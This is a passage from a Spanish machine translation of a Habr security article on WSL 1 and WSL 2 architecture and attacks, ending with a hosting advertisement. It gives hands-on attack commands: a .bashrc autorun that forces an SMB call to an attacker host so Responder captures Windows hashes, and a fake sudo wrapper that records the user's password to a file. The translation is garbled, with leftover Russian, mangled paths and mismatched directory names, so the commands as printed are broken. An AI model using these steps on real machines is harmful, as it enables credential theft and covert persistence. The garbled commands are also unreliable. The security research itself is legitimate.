Experimentos WSL. Parte 1

¡Hola habr! OTUS lanza una nueva corriente de cursos en octubre "Seguridad Linux». Anticipándonos al inicio del curso, compartimos con ustedes un artículo escrito por uno de nuestros profesores, Alexander Kolesnikov.

Experimentos WSL. Parte 1

En 2016, Microsoft presentó la nueva tecnología WSL a la comunidad de TI (WIndows Subsistema para Linux), lo que a la larga permitió la unificación de competidores previamente irreconciliables que luchaban por la popularidad entre los usuarios de sistemas operativos tanto comunes como avanzados: Windows и LinuxEsta tecnología proporcionó la capacidad de utilizar herramientas del sistema operativo. Linux в окружении Windows sin necesidad de lanzar Linux, por ejemplo, usando arranque múltiple. En Habr, puedes encontrar numerosos artículos que describen los beneficios de usar WSL. Sin embargo, desafortunadamente, al momento de escribir esto, no se encontraron estudios sobre la seguridad de esta simbiosis de sistemas operativos en este recurso. Esta publicación es un intento de remediar esto. El artículo discutirá las características de las arquitecturas WSL 1 y 2 y analizará varios ejemplos de ataques a sistemas que usan estas tecnologías. El artículo está dividido en dos partes. La primera presentará los principales métodos teóricos de ataque. Linux и WindowsEl segundo artículo tratará sobre cómo configurar un entorno de prueba y reproducir los ataques.

WSL 1: características arquitectónicas

Para comprender plenamente los problemas de seguridad de WSL, es necesario identificar los matices clave asociados con la implementación del subsistema. Una de las principales necesidades de los usuarios que aborda WSL es habilitar el acceso a la terminal. Linux sistemas en el host con sistema operativo WindowsAdemás, la compatibilidad ofrecida era tan nativa que los archivos ejecutables Linux (ELF) podría lanzarse directamente en el sistema WindowsPara lograr estos objetivos en Windows 10 Se creó un subsistema especial que permite el lanzamiento de aplicaciones. Linux utilizando un conjunto de llamadas al sistema específicas; por lo tanto, se intentó mapear un conjunto de llamadas al sistema. Linux en WindowsFísicamente, esto se implementó agregando nuevos controladores y un nuevo formato de proceso. Visualmente, la arquitectura se veía así:

Experimentos WSL. Parte 1

Básicamente, interacción con el sistema operativo Linux Se organizó utilizando varios módulos del kernel y un tipo especial de proceso: pico. El diagrama anterior muestra el proceso que se ejecuta en la instancia. Linux En el host, debe ser nativo y debe usar los mismos recursos que las aplicaciones normales. WindowsPero, ¿cómo se puede lograr esto? En el proyecto Puente levadizo Se desarrollaron conceptos de proceso para Windows, que proporcionaba todos los componentes necesarios del sistema operativo (dependiendo de su versión) para ejecutar una aplicación de otro sistema operativo.

Tenga en cuenta que la abstracción propuesta hizo posible no depender del sistema operativo (en particular, Windows), que espera que se inicie otro proceso del sistema operativo, y propuso un enfoque general.

De este modo, cualquier aplicación dentro del proceso pico podría ejecutarse independientemente del núcleo. Windows:

  1. Los problemas de compatibilidad y traducción de las llamadas al sistema deben ser resueltos por proveedores especiales;
  2. El control de acceso debe implementarse a través del Monitor de seguridad. El monitor se encuentra en el núcleo y, por lo tanto, Windows Se necesitaba una actualización en forma de un nuevo controlador que pudiera actuar como proveedor para dichos procesos. El prototipo del proceso pico se muestra esquemáticamente a continuación:

Experimentos WSL. Parte 1

Debido al sistema de archivos Linux utiliza nombres de archivos y directorios que distinguen entre mayúsculas y minúsculas, Windows Se han añadido dos tipos de sistemas de archivos para su uso con WSL: VolFS y DriveFS. VolFS es una implementación de sistema de archivos. LinuxDriveFS es un sistema de archivos que funciona según las reglas. Windows, pero tiene la opción de seleccionar la distinción entre mayúsculas y minúsculas en los nombres.

WSL 2

WSL 1 tenía varias limitaciones que impedían su uso para resolver la mayor variedad de tareas: por ejemplo, carecía de la capacidad de ejecutar aplicaciones de 32 bits. Linux Las aplicaciones no podían usar controladores de dispositivos. Por lo tanto, en 2020 se lanzó WSL 2, que cambió el enfoque para construir el subsistema. WSL 2 es una máquina virtual optimizada que coincide con las características de consumo de recursos de WSL 1. Ahora, dependiendo de los problemas que el usuario esté resolviendo, el sistema operativo Windows, puede seleccionar la versión requerida del subsistema para trabajar con LinuxPara mitigar posibles vulnerabilidades, WSL 2 se implementó sobre la base de Hyper-V en Windows 10En esta forma Windows tiene la capacidad de ejecutar el núcleo del sistema operativo de forma aislada. LinuxConviene recordar que la versión 1 de WSL se presentó como una función beta destinada a mostrar la dirección del desarrollo. Windows En esta área, la transición a Hyper-V era inevitable. La arquitectura final tiene este aspecto:

Experimentos WSL. Parte 1

En esta versión, los núcleos del sistema Windows и Linux Cada uno tiene sus propios recursos y solo se superponen dentro del sistema de archivos, pero esta superposición dista mucho de ser completa. La interacción entre los sistemas de archivos se realiza mediante un envoltorio cliente-servidor que opera con el protocolo 9P.

Hoy en día, Microsoft ofrece la posibilidad de cambiar entre WSL 1 y WSL 2. Ambas versiones están disponibles para su uso.

Seguridad WSL

Por el momento, existen varios trabajos que describen algunos enfoques para utilizar herramientas legítimas del sistema operativo para atacar la comunicación entre subsistemas. Usaremos sus scripts para comprobar la relevancia de los ataques en el momento de escribir este artículo. Lista general de ataques y escenarios:

1. Implementación del sistema de archivos: derechos de acceso, disponibilidad de directorios compartidos/mecanismos de intercambio de datos.

Se llevó a cabo una investigación para determinar violaciones de las reglas de acceso de Linux FS->Windows FS, Windows FS->Linux FS. Las investigaciones han demostrado la capacidad de modificar un archivo determinado dentro del sistema operativo de destino. También se intentó sustituir, crear duplicados y eliminar parte de los sistemas de archivos.

Escenario:

  • A. Ataque desde el sistema operativo Windows — modificación de archivos del directorio /etc del sistema operativo Linux.
  • B. Ataque desde el sistema operativo Linux — modificación de archivos en directorios: C:Windows, C:Program Files, C:Users<User>

2. Implementación de la pila de red.

La investigación se llevó a cabo utilizando ejemplos de ataques desde el sistema operativo. Linux en WindowsSe explotaron las características operativas de la pila de red, específicamente sus mecanismos de autenticación para diversos recursos.

Escenario:

  • Abrir el acceso a un puerto que está ocupado en el sistema. Windows
  • Abrir un puerto sin los derechos adecuados
  • Ejecutar una shell inversa usando un archivo elf en un sistema operativo Windows.

3. Ocultar el inicio de procesos de software malicioso utilizando el subsistema WSL.

La investigación se basó en un hecho simple: los subsistemas de seguridad no pueden interceptar eventos en otro kernel que funcione utilizando un proveedor legítimo del sistema operativo en el caso de WSL 1. En el caso de WSL 2, no hay forma de ver los eventos que ocurren. en un kernel separado dentro de una máquina virtual liviana.

Escenario:

1) Inicie la aplicación para acceso remoto al sistema y vea los eventos registrados.

Experimentos de WSL 1: Secuestro de hash (OS Windows)

Finalmente hemos llegado a la parte práctica. Primero, necesitamos configurar el entorno de prueba. Todos los experimentos se realizarán en un banco de pruebas con Windows 10 2004. La imagen del sistema operativo elegida para WSL fue Ubuntu 18.04 de abril. La imagen fue elegida al azar, y cualquier otra funcionará igual de bien. Instrucciones para configurar el soporte:

Primero debes iniciar powershell.exe como administrador.

Para WSL 1 necesitas ejecutar los comandos:

  1. Habilitar-WindowsCaracterística opcional -En línea -Nombre de la característica Microsoft-Windows-Subsistema-Linux #Habilitar la función WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-ArchivoSalida ~/Ubuntu.appx -UseBasicParsing #Cargar imagen Linux Desde la tienda de Microsoft

  • Ubuntu.appx install —root #Instalar la imagen
  • Es posible que tengas que completar el proceso de configuración y crear un nuevo usuario con menos permisos que el root. Para nuestras pruebas, este será el usuario habitual sam.
  • Reiniciar computadora #Reboot
  • Tras reiniciar el sistema, puedes ejecutar el comando bash. Si todo ha funcionado correctamente, verás una salida similar a esta en la consola. Windows:

    Experimentos WSL. Parte 1

    Utilizaremos la distribución Kali como máquina del atacante. LinuxTodas las máquinas deben estar en la misma red local.

    Supongamos que tenemos acceso sin privilegios a WSL en la máquina. WindowsIntentemos atacar el sistema operativo. Linux, llamando al comando desde LinuxPara implementar el ataque, utilizaremos una técnica sencilla de ejecución automática: añadiremos nuestro script al entorno. LinuxPara ello, necesitas modificar el archivo. .bashrc.

    En una máquina con WSL ejecutamos:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Por Kali car Linux ejecutamos:

    1. Responder -I eth0 -rdvw

    En coche Windows Vamos a ejecutar bash.

    Estamos esperando los resultados en la máquina Kali. Linux:

    Experimentos WSL. Parte 1

    Así que obtuvimos los hashes de usuario. Windows a través del subsistema WSL ejecutando un comando en el sistema Linux.

    Experimentos de WSL 1: Obtención de la contraseña de usuario (SO) Linux)

    Hagamos un experimento más. Durante esta verificación agregaremos al archivo .bashrc varios comandos para obtener la contraseña de usuario del sistema operativo Linux.

    Iniciemos bash e ingresemos los comandos:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Para que el ataque tenga éxito, el usuario Sam debe invocar sudo en la terminal. LinuxDespués de esto, la contraseña del usuario del sistema operativo Linux estará en el archivo pass.txt:

    Experimentos WSL. Parte 1

    La implementación de los ataques se proporcionó únicamente como información teórica.

    La siguiente parte del artículo describirá la implementación del protocolo 9P, considerará la creación de un escáner para este protocolo y también llevará a cabo un ataque usándolo.

    Lista de literatura usada

    Experimentos WSL. Parte 1

    Lee mas

    Fuente: habr.com

    Compre alojamiento confiable para sitios con protección DDoS, servidores VPS VDS 🔥 Compra alojamiento web fiable con protección DDoS, servidores VPS VDS | ProHoster